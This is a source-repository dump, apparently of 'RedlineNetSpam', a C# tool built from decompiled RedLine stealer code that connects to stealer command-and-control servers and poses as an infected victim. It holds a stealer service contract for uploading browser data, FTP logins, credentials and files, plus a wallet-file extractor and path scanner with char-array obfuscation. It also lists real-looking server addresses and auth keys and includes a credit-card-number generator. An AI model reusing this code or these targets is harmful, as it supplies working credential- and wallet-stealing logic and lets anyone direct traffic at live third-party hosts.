| public int dwInfoVersion; 71 | 72 | // Token: 0x04000034 RID: 52 73 | public IntPtr pbNonce; 74 | 75 | // Token: 0x04000035 RID: 53 76 | public int cbNonce; 77 | 78 | // Token: 0x04000036 RID: 54 79 | public IntPtr pbAuthData; 80 | 81 | // Token: 0x04000037 RID: 55 82 | public int cbAuthData; 83 | 84 | // Token: 0x04000038 RID: 56 85 | public IntPtr pbTag; 86 | 87 | // Token: 0x04000039 RID: 57 88 | public int cbTag; 89 | 90 | // Token: 0x0400003A RID: 58 91 | public IntPtr pbMacContext; 92 | 93 | // Token: 0x0400003B RID: 59 94 | public int cbMacContext; 95 | 96 | // Token: 0x0400003C RID: 60 97 | public int cbAAD; 98 | 99 | // Token: 0x0400003D RID: 61 100 | public long cbData; 101 | 102 | // Token: 0x0400003E RID: 62 103 | public int dwFlags; 104 | } 105 | -------------------------------------------------------------------------------- /Discoed/Entity.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ServiceModel; 4 | 5 | // Token: 0x02000039 RID: 57 6 | [ServiceContract(Name = "Entity", SessionMode = SessionMode.Required)] 7 | public interface Entity 8 | { 9 | // Token: 0x0600016F RID: 367 10 | [OperationContract(Name = "Id1")] 11 | bool ConnectToC2(); 12 | 13 | // Token: 0x06000170 RID: 368 14 | [OperationContract(Name = "Id2")] 15 | Entity_Settings Id2(); 16 | 17 | // Token: 0x06000171 RID: 369 18 | [OperationContract(Name = "Id3")] 19 | void Id3(Entity_CollectedResults user); 20 | 21 | // Token: 0x06000172 RID: 370 22 | [OperationContract(Name = "Id4")] 23 | Entity_ServerResponse Id4(Entity_CollectedResults user); 24 | 25 | // Token: 0x06000173 RID: 371 26 | [OperationContract(Name = "Id5")] 27 | Entity_ServerResponse Id5(byte[] display); 28 | 29 | // Token: 0x06000174 RID: 372 30 | [OperationContract(Name = "Id6")] 31 | Entity_ServerResponse Id6(List defenders); 32 | 33 | // Token: 0x06000175 RID: 373 34 | [OperationContract(Name = "Id7")] 35 | Entity_ServerResponse Id7(List languages); 36 | 37 | // Token: 0x06000176 RID: 374 38 | [OperationContract(Name = "Id8")] 39 | Entity_ServerResponse Id8(List softwares); 40 | 41 | // Token: 0x06000177 RID: 375 42 | [OperationContract(Name = "Id9")] 43 | Entity_ServerResponse Id9(List processes); 44 | 45 | // Token: 0x06000178 RID: 376 46 | [OperationContract(Name = "Id10")] 47 | Entity_ServerResponse Id10(List hardwares); 48 | 49 | // Token: 0x06000179 RID: 377 50 | [OperationContract(Name = "Id11")] 51 | Entity_ServerResponse Id11(List browsers); 52 | 53 | // Token: 0x0600017A RID: 378 54 | [OperationContract(Name = "Id12")] 55 | Entity_ServerResponse Id12(List ftps); 56 | 57 | // Token: 0x0600017B RID: 379 58 | [OperationContract(Name = "Id13")] 59 | Entity_ServerResponse Id13(List installedBrowsers); 60 | 61 | // Token: 0x0600017C RID: 380 62 | [OperationContract(Name = "Id14")] 63 | Entity_ServerResponse Id14(List remoteFiles); 64 | 65 | // Token: 0x0600017D RID: 381 66 | [OperationContract(Name = "Id15")] 67 | Entity_ServerResponse Id15(List remoteFiles); 68 | 69 | // Token: 0x0600017E RID: 382 70 | [OperationContract(Name = "Id16")] 71 | Entity_ServerResponse Id16(List remoteFiles); 72 | 73 | // Token: 0x0600017F RID: 383 74 | [OperationContract(Name = "Id17")] 75 | Entity_ServerResponse Id17(List loginPairs); 76 | 77 | // Token: 0x06000180 RID: 384 78 | [OperationContract(Name = "Id18")] 79 | Entity_ServerResponse Id18(List remoteFiles); 80 | 81 | // Token: 0x06000181 RID: 385 82 | [OperationContract(Name = "Id19")] 83 | Entity_ServerResponse Id19(List remoteFiles); 84 | 85 | // Token: 0x06000182 RID: 386 86 | [OperationContract(Name = "Id20")] 87 | Entity_ServerResponse Id20(List remoteFiles); 88 | 89 | // Token: 0x06000183 RID: 387 90 | [OperationContract(Name = "Id21")] 91 | Entity_ServerResponse Id21(List remoteFiles); 92 | 93 | // Token: 0x06000184 RID: 388 94 | [OperationContract(Name = "Id22")] 95 | void Id22(); 96 | } 97 | -------------------------------------------------------------------------------- /Discoed/AllWallets.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | // Token: 0x02000014 RID: 20 6 | public class AllWallets : Extractor 7 | { 8 | // Token: 0x0600008C RID: 140 RVA: 0x00006DA4 File Offset: 0x000051A4 9 | public override string Id2(Entity_FileSearchInformation scannerArg, FileInfo filePath) 10 | { 11 | return filePath.Directory.FullName.Replace(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\", string.Empty).Replace(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\", string.Empty); 12 | } 13 | 14 | // Token: 0x0600008D RID: 141 RVA: 0x00006DF8 File Offset: 0x000051F8 15 | public override IEnumerable Id3() 16 | { 17 | List list = new List(); 18 | try 19 | { 20 | List list2 = new List(); 21 | list2.AddRange(FileCopier.FindPaths(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), 2, 1, new string[] 22 | { 23 | new string(new char[] 24 | { 25 | 'w', 26 | 'a', 27 | 'a', 28 | 's', 29 | 'f', 30 | 'l', 31 | 'l', 32 | 'e', 33 | 'a', 34 | 's', 35 | 'f', 36 | 't', 37 | '.', 38 | 'd', 39 | 'a', 40 | 't', 41 | 'a', 42 | 's', 43 | 'f' 44 | }).Replace("asf", string.Empty), 45 | new string(new char[] 46 | { 47 | 'w', 48 | 'a', 49 | 'a', 50 | 's', 51 | 'f', 52 | 'l', 53 | 'l', 54 | 'e', 55 | 't', 56 | 'a', 57 | 's', 58 | 'f' 59 | }).Replace("asf", string.Empty) 60 | })); 61 | list2.AddRange(FileCopier.FindPaths(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), 2, 1, new string[] 62 | { 63 | new string(new char[] 64 | { 65 | 'w', 66 | 'a', 67 | 'a', 68 | 's', 69 | 'f', 70 | 'l', 71 | 'l', 72 | 'e', 73 | 'a', 74 | 's', 75 | 'f', 76 | 't', 77 | '.', 78 | 'd', 79 | 'a', 80 | 't', 81 | 'a', 82 | 's', 83 | 'f' 84 | }).Replace("asf", string.Empty), 85 | new string(new char[] 86 | { 87 | 'w', 88 | 'a', 89 | 'a', 90 | 's', 91 | 'f', 92 | 'l', 93 | 'l', 94 | 'e', 95 | 't', 96 | 'a', 97 | 's', 98 | 'f' 99 | }).Replace("asf", string.Empty) 100 | })); 101 | try 102 | { 103 | foreach (string fileName in list2) 104 | { 105 | string id = new FileInfo(fileName).Directory.FullName.Replace(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\", string.Empty).Replace(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\", string.Empty).Split(new char[] 106 | { 107 | '\\' 108 | })[0]; 109 | list.Add(new Entity_FileSearchInformation 110 | { 111 | Id5 = id, 112 | Id1 = new FileInfo(fileName).Directory.FullName, 113 | Id2 = "*wallet*", 114 | Id3 = false 115 | }); 116 | } 117 | } 118 | catch 119 | { 120 | } 121 | } 122 | catch 123 | { 124 | } 125 | return list; 126 | } 127 | } 128 | -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/redline_config.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\redline_config.exe.config 2 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\redline_config.exe 3 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\redline_config.pdb 4 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\Microsoft.Bcl.AsyncInterfaces.dll 5 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\Newtonsoft.Json.dll 6 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Buffers.dll 7 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Diagnostics.DiagnosticSource.dll 8 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Memory.dll 9 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Numerics.Vectors.dll 10 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Runtime.CompilerServices.Unsafe.dll 11 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Text.Encodings.Web.dll 12 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Text.Json.dll 13 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Threading.Tasks.Extensions.dll 14 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.ValueTuple.dll 15 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\Microsoft.Bcl.AsyncInterfaces.xml 16 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\Newtonsoft.Json.xml 17 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Buffers.xml 18 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Diagnostics.DiagnosticSource.xml 19 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Memory.xml 20 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Numerics.Vectors.xml 21 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Runtime.CompilerServices.Unsafe.xml 22 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Text.Encodings.Web.xml 23 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Text.Json.xml 24 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Threading.Tasks.Extensions.xml 25 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\bin\Debug\System.ValueTuple.xml 26 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\redline_config.csproj.CopyComplete 27 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\redline_config.exe 28 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\redline_config.pdb 29 | C:\Users\Mario\OneDrive\Desktop\redline_config\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\redline_config.csprojAssemblyReference.cache 30 | -------------------------------------------------------------------------------- /Discoed/bin/Debug/System.Buffers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | System.Buffers 4 | 5 | 6 | 7 | Provides a resource pool that enables reusing instances of type . 8 | The type of the objects that are in the resource pool. 9 | 10 | 11 | Initializes a new instance of the class. 12 | 13 | 14 | Creates a new instance of the class. 15 | A new instance of the class. 16 | 17 | 18 | Creates a new instance of the class using the specifed configuration. 19 | The maximum length of an array instance that may be stored in the pool. 20 | The maximum number of array instances that may be stored in each bucket in the pool. The pool groups arrays of similar lengths into buckets for faster access. 21 | A new instance of the class with the specified configuration. 22 | 23 | 24 | Retrieves a buffer that is at least the requested length. 25 | The minimum length of the array. 26 | An array of type that is at least minimumLength in length. 27 | 28 | 29 | Returns an array to the pool that was previously obtained using the method on the same instance. 30 | A buffer to return to the pool that was previously obtained using the method. 31 | Indicates whether the contents of the buffer should be cleared before reuse. If clearArray is set to true, and if the pool will store the buffer to enable subsequent reuse, the method will clear the array of its contents so that a subsequent caller using the method will not see the content of the previous caller. If clearArray is set to false or if the pool will release the buffer, the array&#39;s contents are left unchanged. 32 | 33 | 34 | Gets a shared instance. 35 | A shared instance. 36 | 37 | 38 | -------------------------------------------------------------------------------- /Discoed/obj/x86/Debug/Discoed.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\Mario\OneDrive\Desktop\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\Discoed.csprojAssemblyReference.cache 2 | C:\Users\Mario\OneDrive\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Discoed.exe 3 | C:\Users\Mario\OneDrive\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Discoed.pdb 4 | C:\Users\Mario\OneDrive\Desktop\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\Discoed.exe 5 | C:\Users\Mario\OneDrive\Desktop\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\Discoed.pdb 6 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\Discoed.csproj.AssemblyReference.cache 7 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\Discoed.csproj.SuggestedBindingRedirects.cache 8 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\Discoed.csproj.CoreCompileInputs.cache 9 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\Discoed.exe 10 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\Discoed.pdb 11 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Discoed.exe.config 12 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Discoed.exe 13 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Discoed.pdb 14 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Elastic.Clients.Elasticsearch.dll 15 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Elastic.Transport.dll 16 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Microsoft.Bcl.AsyncInterfaces.dll 17 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Buffers.dll 18 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Diagnostics.DiagnosticSource.dll 19 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Memory.dll 20 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Numerics.Vectors.dll 21 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Runtime.CompilerServices.Unsafe.dll 22 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Text.Encodings.Web.dll 23 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Text.Json.dll 24 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Threading.Tasks.Extensions.dll 25 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.ValueTuple.dll 26 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Elastic.Clients.Elasticsearch.xml 27 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Elastic.Transport.pdb 28 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Elastic.Transport.xml 29 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Microsoft.Bcl.AsyncInterfaces.xml 30 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Buffers.xml 31 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Diagnostics.DiagnosticSource.xml 32 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Memory.xml 33 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Numerics.Vectors.xml 34 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Runtime.CompilerServices.Unsafe.xml 35 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Text.Encodings.Web.xml 36 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Text.Json.xml 37 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.Threading.Tasks.Extensions.xml 38 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\System.ValueTuple.xml 39 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\obj\x86\Debug\Discoed.csproj.CopyComplete 40 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Newtonsoft.Json.dll 41 | C:\Users\vladimir\Desktop\RedlineNetSpam_Version1\Discoed\bin\Debug\Newtonsoft.Json.xml 42 | -------------------------------------------------------------------------------- /Discoed/Program.cs: -------------------------------------------------------------------------------- 1 | using Discoed; 2 | using System; 3 | using System.IO; 4 | using System.Net; 5 | using System.Threading; 6 | 7 | 8 | public class Program 9 | { 10 | static string address = ""; 11 | static string auth = ""; 12 | static string botnet = ""; 13 | static bool debug = false; 14 | 15 | private static void Main(string[] args) 16 | { 17 | if (!debug) 18 | { 19 | System.Timers.Timer timer = new System.Timers.Timer(90000); 20 | timer.Elapsed += Timer_Elapsed; 21 | timer.Start(); 22 | } 23 | 24 | Console.WriteLine(">>> Welcome to redline_config <<<"); 25 | 26 | if (!debug) 27 | { 28 | if (args.Length < 3) 29 | { 30 | Console.WriteLine("Usage:"); 31 | Console.WriteLine("\t" + System.Reflection.Assembly.GetExecutingAssembly().GetName().Name + ".exe
"); 32 | Console.WriteLine("\tExample: " + System.Reflection.Assembly.GetExecutingAssembly().GetName().Name + ".exe 62.204.41.141:24758 a6bcb8afefeb17eb22f2b08d282dde6c @SCAMHERE1"); 33 | Console.WriteLine("\nOut of ideas? Visit https://tria.ge/s?q=family%3Aredline for fresh Redline samples!"); 34 | Environment.Exit(1); 35 | } 36 | else 37 | { 38 | address = args[0]; 39 | auth = args[1]; 40 | botnet = args[2]; 41 | } 42 | 43 | } 44 | else 45 | { 46 | 47 | address = "193.233.20.28:4125"; 48 | auth = "ecf79d7f5227d998a3501c972d915d23"; 49 | botnet = "mango"; 50 | 51 | } 52 | 53 | SpamInfo.C2 = address; 54 | SpamInfo.authkey = auth; 55 | SpamInfo.botnet = botnet; 56 | 57 | Program p = new Program(); 58 | p.PewPew(address, auth, botnet); 59 | } 60 | 61 | // Token: 0x06000046 RID: 70 RVA: 0x00004AAC File Offset: 0x00002EAC 62 | public void PewPew(string address, string auth, string botnet) 63 | { 64 | string externalIP = ""; 65 | try 66 | { 67 | string externalIpString = new WebClient().DownloadString("http://icanhazip.com").Replace("\\r\\n", "").Replace("\\n", "").Trim(); 68 | externalIP = IPAddress.Parse(externalIpString).ToString(); 69 | } 70 | catch 71 | { 72 | Logger.Log("Couldn't fetch our public IP this time."); 73 | } 74 | 75 | Logger.Log("Sending entry from IP " + externalIP); 76 | 77 | try 78 | { 79 | ConnectionProvider connectionProvider = new ConnectionProvider(); 80 | bool flag3 = false; 81 | while (!flag3) 82 | { 83 | Logger.Log("Now firing against " + address); 84 | 85 | bool flag4 = connectionProvider.Id1(address, auth); 86 | 87 | if (connectionProvider.Id1(address, auth)) 88 | { 89 | Logger.Log("Connected to target"); 90 | flag3 = true; 91 | break; 92 | } 93 | else 94 | { 95 | Logger.Log("Couldn't download settings"); 96 | Environment.Exit(-1); 97 | } 98 | 99 | Thread.Sleep(5000); 100 | } 101 | Entity_Settings settings = new Entity_Settings(); 102 | Logger.Log("Trying to download settings from server"); 103 | while (!connectionProvider.Id5(out settings)) 104 | { 105 | bool flag5 = !connectionProvider.SendLogByFull(); 106 | if (flag5) 107 | { 108 | Logger.Log("Throwing exception"); 109 | throw new Exception(); 110 | } 111 | Thread.Sleep(1000); 112 | } 113 | 114 | Logger.Log("Downloaded settings from server"); 115 | Logger.Log("Setting - Collect Browsers: " + settings.CollectBrowsers.ToString()); 116 | Logger.Log("Setting - Collect Wallets: " + settings.CollectWallets.ToString()); 117 | Logger.Log("Setting - Collect VPN: " + settings.CollectVPN.ToString()); 118 | Logger.Log("Setting - Collect Telegram: " + settings.CollectTelegram.ToString()); 119 | Logger.Log("Setting - Collect Discord: " + settings.CollectDiscord.ToString()); 120 | Logger.Log("Setting - Collect FTP: " + settings.CollectFTP.ToString()); 121 | Logger.Log("Setting - Collect Game Launchers: " + settings.CollectGameLaunchers.ToString()); 122 | Logger.Log("Setting - Collect Screenshot: " + settings.CollectScreenshot.ToString()); 123 | Logger.Log("Setting - Grab files: " + settings.GrabFiles.ToString()); 124 | 125 | // ThreatFox t = new ThreatFox(); 126 | // t.Post(settings, address); 127 | 128 | if (settings.GrabFiles) 129 | { 130 | foreach (string s in settings.AllowedFiles) 131 | { 132 | Logger.Log("Setting - Targeted files - Allowed files: " + s); 133 | } 134 | } 135 | } 136 | catch (Exception ex) 137 | { 138 | Logger.Log("Looks like we got an exception: " + ex.Message + "\n" + ex.StackTrace); 139 | } 140 | } 141 | 142 | private static void Timer_Elapsed(object sender, System.Timers.ElapsedEventArgs e) 143 | { 144 | Logger.Log("[!] Killing due to inactivty"); 145 | Environment.Exit(-2); 146 | } 147 | } 148 | -------------------------------------------------------------------------------- /Discoed/FileCopier.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | 5 | // Token: 0x02000031 RID: 49 6 | public class FileCopier 7 | { 8 | // Token: 0x0600010B RID: 267 RVA: 0x0000AC34 File Offset: 0x00009034 9 | public static List FindPaths(string baseDirectory, int maxLevel = 4, int level = 1, params string[] files) 10 | { 11 | List list = new List(); 12 | list.Add(new string(new char[] 13 | { 14 | '\\', 15 | 'W', 16 | 'i', 17 | 'n', 18 | 'd', 19 | 'o', 20 | 'w', 21 | 's', 22 | '\\' 23 | })); 24 | list.Add(new string(new char[] 25 | { 26 | '\\', 27 | 'P', 28 | 'r', 29 | 'o', 30 | 'g', 31 | 'r', 32 | 'a', 33 | 'm', 34 | ' ', 35 | 'F', 36 | 'i', 37 | 'l', 38 | 'e', 39 | 's', 40 | '\\' 41 | })); 42 | list.Add(new string(new char[] 43 | { 44 | '\\', 45 | 'P', 46 | 'r', 47 | 'o', 48 | 'g', 49 | 'r', 50 | 'a', 51 | 'm', 52 | ' ', 53 | 'F', 54 | 'i', 55 | 'l', 56 | 'e', 57 | 's', 58 | ' ', 59 | '(', 60 | 'x', 61 | '8', 62 | '6', 63 | ')', 64 | '\\' 65 | })); 66 | list.Add(new string(new char[] 67 | { 68 | '\\', 69 | 'P', 70 | 'r', 71 | 'o', 72 | 'g', 73 | 'r', 74 | 'a', 75 | 'm', 76 | ' ', 77 | 'D', 78 | 'a', 79 | 't', 80 | 'a', 81 | '\\' 82 | })); 83 | List list2 = new List(); 84 | bool flag = files == null || files.Length == 0 || level > maxLevel; 85 | List result; 86 | if (flag) 87 | { 88 | result = list2; 89 | } 90 | else 91 | { 92 | try 93 | { 94 | foreach (string text in Directory.GetDirectories(baseDirectory)) 95 | { 96 | bool flag2 = false; 97 | foreach (string value in list) 98 | { 99 | bool flag3 = text.Contains(value); 100 | if (flag3) 101 | { 102 | flag2 = true; 103 | break; 104 | } 105 | } 106 | bool flag4 = flag2; 107 | if (!flag4) 108 | { 109 | try 110 | { 111 | DirectoryInfo directoryInfo = new DirectoryInfo(text); 112 | FileInfo[] files2 = directoryInfo.GetFiles(); 113 | bool flag5 = false; 114 | for (int j = 0; j < files2.Length; j++) 115 | { 116 | bool flag6 = flag5; 117 | if (flag6) 118 | { 119 | break; 120 | } 121 | for (int k = 0; k < files.Length; k++) 122 | { 123 | bool flag7 = flag5; 124 | if (flag7) 125 | { 126 | break; 127 | } 128 | string a = files[k]; 129 | FileInfo fileInfo = files2[j]; 130 | bool flag8 = a == fileInfo.Name; 131 | if (flag8) 132 | { 133 | flag5 = true; 134 | list2.Add(fileInfo.FullName); 135 | } 136 | } 137 | } 138 | foreach (string item in FileCopier.FindPaths(directoryInfo.FullName, maxLevel, level + 1, files)) 139 | { 140 | bool flag9 = !list2.Contains(item); 141 | if (flag9) 142 | { 143 | list2.Add(item); 144 | } 145 | } 146 | } 147 | catch 148 | { 149 | } 150 | } 151 | } 152 | } 153 | catch 154 | { 155 | } 156 | result = list2; 157 | } 158 | return result; 159 | } 160 | 161 | // Token: 0x0600010C RID: 268 RVA: 0x0000AECC File Offset: 0x000092CC 162 | public static string ChromeGetName(string path) 163 | { 164 | try 165 | { 166 | string[] array = path.Split(new char[] 167 | { 168 | '\\' 169 | }, StringSplitOptions.RemoveEmptyEntries); 170 | bool flag = array[array.Length - 2].Contains(new string(new char[] 171 | { 172 | 'U', 173 | 's', 174 | 'e', 175 | 'r', 176 | ' ', 177 | 'D', 178 | 'a', 179 | 't', 180 | 'a' 181 | })); 182 | if (flag) 183 | { 184 | return array[array.Length - 1]; 185 | } 186 | } 187 | catch 188 | { 189 | } 190 | return "Unknown"; 191 | } 192 | 193 | // Token: 0x0600010D RID: 269 RVA: 0x0000AF44 File Offset: 0x00009344 194 | public static string ChromeGetRoamingName(string path) 195 | { 196 | try 197 | { 198 | return path.Split(new string[] 199 | { 200 | new string(new char[] 201 | { 202 | 'A', 203 | 'p', 204 | 'p', 205 | 'D', 206 | 'a', 207 | 't', 208 | 'a', 209 | '\\', 210 | 'R', 211 | 'o', 212 | 'a', 213 | 'm', 214 | 'i', 215 | 'n', 216 | 'g', 217 | '\\' 218 | }) 219 | }, StringSplitOptions.RemoveEmptyEntries)[1].Split(new char[] 220 | { 221 | '\\' 222 | }, StringSplitOptions.RemoveEmptyEntries)[0]; 223 | } 224 | catch 225 | { 226 | } 227 | return string.Empty; 228 | } 229 | 230 | // Token: 0x0600010E RID: 270 RVA: 0x0000AFB0 File Offset: 0x000093B0 231 | public static string ChromeGetLocalName(string path) 232 | { 233 | try 234 | { 235 | string[] array = path.Split(new string[] 236 | { 237 | new string(new char[] 238 | { 239 | 'A', 240 | 'p', 241 | 'p', 242 | 'D', 243 | 'a', 244 | 't', 245 | 'a', 246 | '\\', 247 | 'L', 248 | 'o', 249 | 'c', 250 | 'a', 251 | 'l', 252 | '\\' 253 | }) 254 | }, StringSplitOptions.RemoveEmptyEntries)[1].Split(new char[] 255 | { 256 | '\\' 257 | }, StringSplitOptions.RemoveEmptyEntries); 258 | return array[0] + "_[" + array[1] + "]"; 259 | } 260 | catch 261 | { 262 | } 263 | return string.Empty; 264 | } 265 | } 266 | -------------------------------------------------------------------------------- /Discoed/RandomCreditCardNumberGenerator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading; 6 | 7 | namespace Discoed 8 | { 9 | // Source: https://github.com/soufianetahiri/RandomCreditCardNumberGenerator/blob/main/RandomCreditCardNumberGenerator.cs 10 | public static class RandomCreditCardNumberGenerator 11 | { 12 | /*This is a port of the port of of the Javascript credit card number generator now in C# 13 | * by Kev Hunter https://kevhunter.wordpress.com 14 | * See the license below. Obviously, this is not a Javascript credit card number 15 | generator. However, The following class is a port of a Javascript credit card 16 | number generator. 17 | @author robweber 18 | Javascript credit card number generator Copyright (C) 2006 Graham King 19 | graham@darkcoding.net 20 | This program is free software; you can redistribute it and/or modify it 21 | under the terms of the GNU General Public License as published by the 22 | Free Software Foundation; either version 2 of the License, or (at your 23 | option) any later version. 24 | This program is distributed in the hope that it will be useful, but 25 | WITHOUT ANY WARRANTY; without even the implied warranty of 26 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General 27 | Public License for more details. 28 | 29 | You should have received a copy of the GNU General Public License along 30 | with this program; if not, write to the Free Software Foundation, Inc., 31 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 32 | www.darkcoding.net 33 | */ 34 | 35 | 36 | public static string[] AMEX_PREFIX_LIST = new[] { "34", "37" }; 37 | 38 | 39 | public static string[] DINERS_PREFIX_LIST = new[] 40 | { 41 | "300", 42 | "301", "302", "303", "36", "38" 43 | }; 44 | 45 | 46 | public static string[] DISCOVER_PREFIX_LIST = new[] { "6011" }; 47 | 48 | 49 | public static string[] ENROUTE_PREFIX_LIST = new[] 50 | { 51 | "2014", 52 | "2149" 53 | }; 54 | 55 | 56 | public static string[] JCB_15_PREFIX_LIST = new[] 57 | { 58 | "2100", 59 | "1800" 60 | }; 61 | 62 | 63 | public static string[] JCB_16_PREFIX_LIST = new[] 64 | { 65 | "3088", 66 | "3096", "3112", "3158", "3337", "3528" 67 | }; 68 | 69 | 70 | public static string[] MASTERCARD_PREFIX_LIST = new[] 71 | { 72 | "51", 73 | "52", "53", "54", "55" 74 | }; 75 | 76 | 77 | public static string[] VISA_PREFIX_LIST = new[] 78 | { 79 | "4539", 80 | "4556", "4916", 